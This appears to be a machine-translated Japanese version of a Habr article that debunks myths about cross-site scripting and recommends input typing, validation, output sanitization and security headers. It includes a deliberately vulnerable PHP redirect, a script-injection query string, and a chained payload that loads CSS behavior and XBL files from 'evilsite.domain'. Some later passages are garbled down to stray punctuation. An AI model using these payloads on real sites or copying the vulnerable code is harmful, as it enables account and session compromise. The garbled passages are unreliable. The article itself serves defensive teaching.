☁️ 🎒 👩🏾‍🌾 XSSについての完全な真実か、クロスサイトスクリプティングが脆弱性ではないのはなぜですか？ 🕓 🤲🏼 🧑🏻‍🤝‍🧑🏻

人気のあるサービスやサイトの次のXSSを説明するほとんどすべての投稿に対するHabréのコメントを読むと、Webアプリケーションのセキュリティに何らかの形で関係している人なら誰でも暗闇に陥ることがあります。開発者の間で一般的なクロスサイトスクリプティングに関する神話と誤解を考えると、それが依然として最も一般的なWebアプリケーションのセキュリティ問題の1つであることは驚くことではありません。分析されたWebアプリケーションの40％、および2012年第2四半期のFirehostレポートから、 XSSがホスティング事業者によって登録された攻撃の数の27％に達したことがわかります。

また、タイトルだけでもこの投稿を非難することは可能ですので、説明を急ぎます。クロスサイトスクリプティングは実際には脆弱性ではなく、攻撃だからです。違いは何ですか、なぜそれが重要なのか、このすべてに対処する方法、およびXSSについて他の神話や誤解がよくあるもの-カットの下で読みます。

すべての誤解は見出しに定式化され、順序はarbitrary意的であり、特定の攻撃と脆弱性の例と実際の攻撃の一致はランダムであり、意図的ではありません。

XSS-脆弱性

上記のように、これはそうではありません。クロスサイトスクリプティングは、 OWASPバージョンとWASCバージョンの両方による攻撃です（もちろん、分類~~マニュアルを~~読むことは受け入れていません）。つまり、XSSは特定のクラスの脆弱性を悪用する可能性のある方法の1つにすぎません。たとえば、次のコードには脆弱性が1つしか含まれていませんが、一度に複数のクラスの攻撃を受けやすくなります。

<?php header( 'Refresh: 5; url=' . $_GET['url']); ?> <html> <head> <meta http-equiv="refresh" content="5;url=<?=$_GET['url']?>"></meta> </head> </html>

まず、このコードはリダイレクト機能の乱用の影響を受けやすく、XSSとは関係ありません。次に、 http://localhost/?url="><script>alert("XSS")</script><!--

という形式のリクエストにより、クロスサイトスクリプティングが実際に簡単かつ自然に実装されます。 -アプリケーションは、4.4.2または5.1.2より前の標準的なPHPバージョン、または多数のサードパーティPHP実装を使用する環境にデプロイされます。このコードは、HTTP応答を分割して非表示にする攻撃に対しても脆弱です（Webアプリケーションのセキュリティは環境のセキュリティに可能な限り依存します）。

脆弱性と攻撃の違いは、脆弱性を排除することで、それを悪用するすべての攻撃を排除できることですが、特定の攻撃を排除しても脆弱性は軽減されません。簡単な例：このXSSを脆弱性と見なし、スクリプトに渡されたURLの各フラグメントのURLエンコーディングを使用してXSSを排除する場合、これはリダイレクト機能の悪用の可能性に影響しません-攻撃者はユーザーをリダイレクトできます任意の、正しく形成されたURL。結果と戦うのではなく、原因を克服する必要があります。つまり、これらすべての攻撃を実行できる非常に唯一の脆弱性を排除する必要があります。この場合、脆弱性は、GET urlパラメーターがWebサーバーによってスクリプトに渡されたとき、または出力で使用する前に適切に処理されないことです。愛してください：この脆弱性は、入出力データの不正な処理のクラスに属し、今日知られているほとんどの攻撃を実行できる最も一般的な脆弱性です。したがって、この脆弱性を排除するためには、両方のタイプのデータの適切かつ十分な処理を保証する必要がありますが、この場合、URLエンコーディングでは不十分であることが明らかです。少し後でこの問題に戻ります。

XSSはパッシブおよびアクティブです

「完全に退屈だと感じたら、用語について同僚と議論を始めてください」（C）。しかし、これは原則の問題です、ごめんなさい。この同性愛者の分類がロシア語圏の開発者に課せられたのは誰のおかげかわかりません（ロシア語版ウィキペディアのXSSに関する記事がその配布に貢献したとの意見があります）が、そのような分離は発生しますが、それでも完全に役に立たないためです Webアプリケーションのセキュリティを分析し、それに対応する脆弱性を排除するという観点から、実際に重要な特定のXSSのすべてのプロパティを反映していません。 XSSは受動的（特別に形成されたリンクをユーザーに送信する必要があり、ユーザーにそれに従うように説得する）とアクティブ（サーバーに保存され、ユーザーによる不要なジェスチャーなしにトリガーされる）であると伝統的かつ誤って想定されています。ただし、次の例を考慮してください。Habratopikテキストの<a>

タグのsrc

属性を超えることができるが、タグを超えることはできないHabrエンジンに脆弱性があるとします。この脆弱性を使用して、リンク上にマウスを移動する、クリックするなどのハンドラーを定義することにより、XSS攻撃を実行できることは明らかです。質問：そのような攻撃は受動的ですか、それとも能動的ですか？一方では、リンクはサーバーに保存され、攻撃されたユーザーに配信する必要はなく、アクティブになっているようです。一方、攻撃を成功させるには、追加のユーザーアクションが必要です。これは、受動的な攻撃の場合にのみ一般的です。パラドックス？そのため、ベクトルと暴露方法という2つの基準に従ってXSSを分類するのが一般的です。 2つ目はまったく同じ「アクティブ/パッシブ」ですが、よりわかりやすい定式化があります。XSSはアクティブであり、パッシブではなく、Webアプリケーションの機能に関してユーザー側で不要なアクションを必要としません。そして、影響ベクトルによると、XSSは反射（操作ベクトルが送信された同じリクエストに応じてサーバーから返される）、安定（サーバーに保存され、操作ベクトルを含まない同じリクエストに対するすべての回答で利用可能）とドキュメントのオブジェクトモデルに基づいています（その実装は、サーバーに要求を送信せずに可能です）。したがって、攻撃の特定の例の分類に対する正解は、「安定-受動」です。

XSSはユーザーに対する攻撃であり、ブラウザで任意のスクリプトを実行することを目的としています

明らかに、これは完全に真実ではありません。被害者のブラウザで任意のスクリプトを実行するには、攻撃者に制御されたサーバー上にある特別に準備されたページに誘い込むだけで十分です。 XSSは、任意のスクリプトの実行だけでなく、特定のサイトのソースのコンテキストでの実行を目的としており、単一ソースポリシー（ Same Origin Policy、SOP ）をバイパスし、その結果、Webアプリケーションのクライアント部分のデータと機能にアクセスしますユーザーセッションとそのユーザーの権利。これは、まず、ユーザーのブラウザではなく、脅威を実装するWebアプリケーションに対する攻撃です。

「セキュリティWeb 2.0。高度なテクニック」セクションのPHDays 2012カンファレンスで、ホストのAnders Ryanchoが聴衆に「シングルソースポリシーとは何かを知っている人に手を挙げてください」という簡単な質問をしました。私がそこにいたとき、私は確認する準備ができています：ウェブ開発者とセキュリティ専門家だけで構成される聴衆の3分の1が手を挙げました。ビデオにはこの歴史的な瞬間があります。視聴者全員がその瞬間にフレームに入らなかったのは残念です。正直なところ、Webセキュリティの開発者や専門家になる方法がよくわからず、最新のブラウザーを保護するための基本的なメカニズムについても知らないので、私は人々が外国人の前で手を上げるにはあまりにも恥ずかしがり屋だと思いました。ただし、これらのポリシーの簡単な概要でも2、3段落の問題ではないため、Michael Zalewskiによる電子書籍「 Browser Security Handbook 」の第2部に興味のある人全員を送信できます。このトピックは、同じ著者がThe Tangled Webでさらに詳しく説明しています。ちなみに、どちらもWeb開発やWebアプリケーションのセキュリティ分析に携わるすべての人が読むことをお勧めします。

XSSとの戦いはユーザーの問題であり、実際XSSは深刻ではありません

Webアプリケーション（上記参照）に対するこの攻撃が突然、このアプリケーションの所有者や開発者ではなく、ユーザーの問題になった理由は完全には明らかではありません。ここで、問題はむしろ、ユーザーの保護された作業を確保する上での彼らの立場です。 XSSの実装に関連するリスクは、実際、しばしば評判がよくあります。ただし、XSSの成功がユーザーにとってどれほど深刻な結果になるかについて話す場合は、ZeroNights 2011カンファレンスで発表され、サイト間攻撃を通じてWeb開発者のコンピューターへの特権アクセスを獲得することに専念する同僚のDenis Baranovのレポート「Root through XSS」をご覧になることをお勧めしますスクリプトの実行（残念ながら、利用できるのはスライドだけですが、一般的な考え方はビデオがなくても理解できると思います）。クライアント側でXSSを使用して、攻撃者がユーザーのコンピューターへの無制限のアクセスを取得した場合、リソースの評判に対するダメージはどれほど強いでしょうか？大量のXSSをスクリプティングに変換するツールがたくさんあるという事実を考えると、少なくとも同じBeEFを使用してください。さらに、XSSの観点から、Webアプリケーション管理者は他のすべてのユーザーとまったく同じユーザーであることを忘れないでください（問題はこのクラスの攻撃との戦いです）。

XSSは、HTMLまたはクライアントスクリプトへの注入の結果としてのみ可能です。

それだけではありません。たとえば、前述の攻撃分割HTTP応答を使用する方法の1つは、HTMLドキュメント（および、必要に応じてクライアントスクリプト）をHTTPヘッダーに直接埋め込むことです。リダイレクト機能の悪用は、data：またはjavascript：スキームを使用してブラウザをURLにリダイレクトするためによく使用されます。さらに、XSSを実行するためのリダイレクト攻撃のより明白でない使用も可能です。たとえば、Webアプリケーションでは、すでに考慮されているリダイレクトの問題のエントリポイント（ /redirect.php?url=

利用可能）に加えて、次のコードのポイントもあります。

 <html> <head> <link rel="stylesheet" href="/themes/<?=$theme?>.css" type="text/css" /> </head>

同時に、GETリクエストのパラメーターから取得した$theme

変数を処理すると、すべての引用符とバックスラッシュとタグ（場合に応じて）が削除され、攻撃者がhref属性を超えることができなくなります。ただし、これはXSSには必要ありません。値../redirect.php?url=http://evilsite.domain/evilstylesheet

パラメーター$theme

使用する../redirect.php?url=http://evilsite.domain/evilstylesheet

攻撃者はページに任意のスタイルシートを埋め込むことができます。 IEまたはFFのコンテンツシートを使用する

 body { behavior:url(../redirect.php?url=http://evilsite.domain/evilscript.htc); }

そして

 body { -moz-binding: url(../redirect.php?url=http://evilsite.domain/evilscript.xml#evilcode); }

それぞれ、およびサーバーにevilscript.htcファイルを配置することにより：

 <PUBLIC:COMPONENT TAGNAME="xss"> <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/> </PUBLIC:COMPONENT> <SCRIPT> function main() { alert("XSS"); } </SCRIPT>

およびevilscript.xml：

 <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="mycode"> <implementation> <constructor> alert("XSS"); </constructor> </implementation> </binding> </bindings>

彼は、これら2つのブラウザーのユーザーに対してXSSで成功しています。もちろん、スタイル定義に直接注入する場合も同様です。

UPD：コメントで示唆されているように、-moz-bindingは最近、長い命を命じました。

さまざまなブラウザーおよびHTMLバージョンで攻撃者が利用できるXSSベクトルのほとんどは、 HTML5セキュリティに関するチートシートに記載されています。そこで、このセクションのタイトルで表明された質問に対する包括的な答えを見つけることができます。

私が使用するフレームワークには、XSSに対する自動保護が組み込まれているため、心配する必要はありません。

実際、現代の多くのフレームワークでは、このような保護が実装されています。 Code IgniterのXSSフィルタリングメカニズム、DjangoとRoRの標準テンプレートエンジン機能、ASP.NET / MVCのWeb保護ライブラリとリクエスト検証メカニズムなどなどこれは間違いなく素晴らしいことであり、この機能を使用しないのは愚かなことです。次のことを考慮しないのも愚かです：

DOMベースのXSSからWebアプリケーションを保護できるサーバーフレームワークはありません。
XSSに対する自動保護のための既存のメカニズムはいずれも普遍的ではなく、考慮しなければならない制限がありません。
これらのメカニズムによって実装される機能は、特定のクラスの攻撃に対抗することを目的としており、コードの脆弱性における不十分なデータ処理から保護することはできません。

したがって、まだ注意が必要です。一部のフレームワークでは、これは日常的な作業ではなく、多大な時間コストが必要になるだけです。

XSSを排除するには、HTMLドキュメントに含まれるすべての行を選別するだけで十分です。

十分ではありませんが、上記はすでに理由を検討しています。 XSSではなく、XSSを引き起こした脆弱性を排除する必要があるため、安全なデータ処理が必要になります。このトピックは別の（かなり大きな）記事に基づいているため、このような処理の実装の主要な段階を要約します。

データの信頼性を判断する

まず第一に、Webアプリケーションの考慮されたコンポーネント内で整合性または信頼性が制御されていないすべてのデータストリームを識別する必要があります。 Webアプリケーションコンポーネントとは、原則として（常にではありませんが）、1つのOSプロセスのフレームワーク内で実行されるサーバーまたはクライアント部分の要素を意味します。

上記の例では、信頼できない（そして唯一の）データはGETリクエスト文字列から取得したurlパラメーターです。

信頼できないデータをすべて入力する

コンポーネント内でそのようなデータが発生する場所にできるだけ近い場所で、期待されるタイプへの変換を保証する必要があります。静的言語では、これは実際に、検証されたデータの逆シリアル化または解析に基づいてこのタイプのインスタンスにキャストまたは作成することで実現されます。さらに、静的言語で構築されたほとんどの最新のフレームワークでは、この機能はクエリパラメーターをモデルオブジェクトにバインドするためのメカニズムで既に実装されています。動的言語では、すべてがやや悲しい実際には、キャストのシミュレーションについてのみ話すことができます（ただし、これは実行する必要があります）。それにもかかわらず、そのような条件付き型付けさえも有能に実装することで、コンポーネントが機能するように設計されたまさにその型のデータを持つことが保証されます。コンポーネント内のデータを使用した以降のすべての作業は、入力データに基づいて作成されたオブジェクトを介してのみ実行する必要があります。タイピング段階の基本原則は、その出力での文字列型オブジェクトの可能な限り最小数であることを覚えておくことが重要です。 URL、メールアドレス、日付、時刻など入力後は、文字列以外の特定のタイプのオブジェクトでなければなりません。実際に文字列であるデータのみ、つまり実際には、任意のフルアルファベットのテキストが含まれる場合があります。

私たちの場合、parse_url（）関数を使用して、結果の配列の要素に余分なアンダースコアの出現のチェックを実装するだけで十分です。元のURLに禁じられた文字が存在することを示しますFALSE）。結果の配列にクエリキーが存在する場合は、parse_str（）を使用して解析し、クエリパラメータを使用して結果の連想配列に置き換える必要もあります。

入力されたすべての信頼できないデータの検証

入力した直後に、受信したオブジェクトのセマンティクスをコンポーネントの機能に準拠しているかどうかを確認する必要があります。たとえば、整数型または日付/時刻の場合、これは範囲チェック（たとえば、その中の負のページ番号や送金金額がほとんど機能の期待に一致しない）、文字列の場合、ほとんどの場合、正規表現のチェックで十分です。また、より複雑なタイプのオブジェクトの場合、そのフィールドとプロパティのそれぞれのセマンティクスチェックを実装する必要があります。検証チェックは、常にホワイトリストの原則に基づいている必要があります。データのセマンティクスは許可された基準を満たしている必要があります。この段階の目的は、コンポーネント内のすべてのデータが、実装されている機能に対応し、違反できないことを保証することです。

「Webアプリケーション」で、ドメインのフレームワーク内でのみリダイレクトを実行できるとします。この場合、parse_url（）の結果として取得した配列には、パス、クエリ、およびフラグメントキーのみが存在することを確認する必要があります。スキーム、ホスト、およびポートがWebアプリケーションドメインを指している場合を除き、他のキーを発見すると、検証エラーが発生し、リクエスト処理が終了します。より一般的なケースでは、Webアプリケーションで使用されているルーティングメカニズムによって、真に既存のコントローラーへの準拠のパスもチェックできるようになれば、本当に素晴らしいでしょう。クエリのパラメーター（フラグメントは言うまでもありません）でも同じことができれば、本当にクールです。

出力サニタイズ

検証および入力されたオブジェクトがコンポーネントの制限を超えているすべての場所（または出力データがそれらに基づいて形成されている場所）では、受信側にとって安全なフォームにそれらを持ち込む必要があります。原則として、これは、それらから安全でない要素を削除する（フィルタリング）か、それらを安全な同等物に変換する（シールド）ことによって達成されます。データが最終的に配置される場所に適切に衛生管理を実施する必要があります。したがって、それらに基づいてHTMLドキュメントを形成する場合、タグ間、タグ内、特定のタグ属性内のデータをクライアントスクリプトまたはスタイル定義のテキストに正しくシールドする方法は異なります。言い換えると、htmlspecialchars（）はどこでも常に十分な普遍的なスクリーニングツールではありません。

私たちのケースでは、関数http_build_query（）を使用してオブジェクトの前の段階で取得したフィールドに基づいて正しいURLを生成するだけで、パス要素を形成するときに（またはpecl_httpからhttp_build_url（）およびhttp_build_str（）を使用して）クエリパーツとurl_encode（）を構築できます。

実際のところ、これらのルールは、このクラスの脆弱性によって引き起こされるすべての攻撃に関連しています。たとえば、SQLステートメント、 OSコマンドなどの実装の場合また、ほとんどの開発者は、サーバーがクライアントから受信するデータが信頼できないことを長い間認識していましたが、同じ理由で反対も当てはまると考える人はほとんどいません。それでも、保護されたデータ処理がクライアント側で実装された場合、これにより、サーバー上の脆弱性の悪用に関連するクライアント攻撃のリスクを最小限に抑えることができます。

- , (: ) -, XSS « ...» , . , -.

: , ?

. . , , ( XSS). :

X-Content-Type-Options: nosniff

msdn.microsoft.com/en-us/library/ie/gg622941 (v=vs.85).aspx

X-XSS-Protection: 1; モード=ブロック

msdn.microsoft.com/en-us/library/dd565647 (v=vs.85).aspx

X-Frame-Options: DENY

blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx

X-Content-Security-Policy: [ , dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html ]

Strict-Transport-Security: max-age=expireTime

developer.mozilla.org/en/Security/HTTP_Strict_Transport_Security

, — , .

頑張って

XSSについての完全な真実か、クロスサイトスクリプティングが脆弱性ではないのはなぜですか？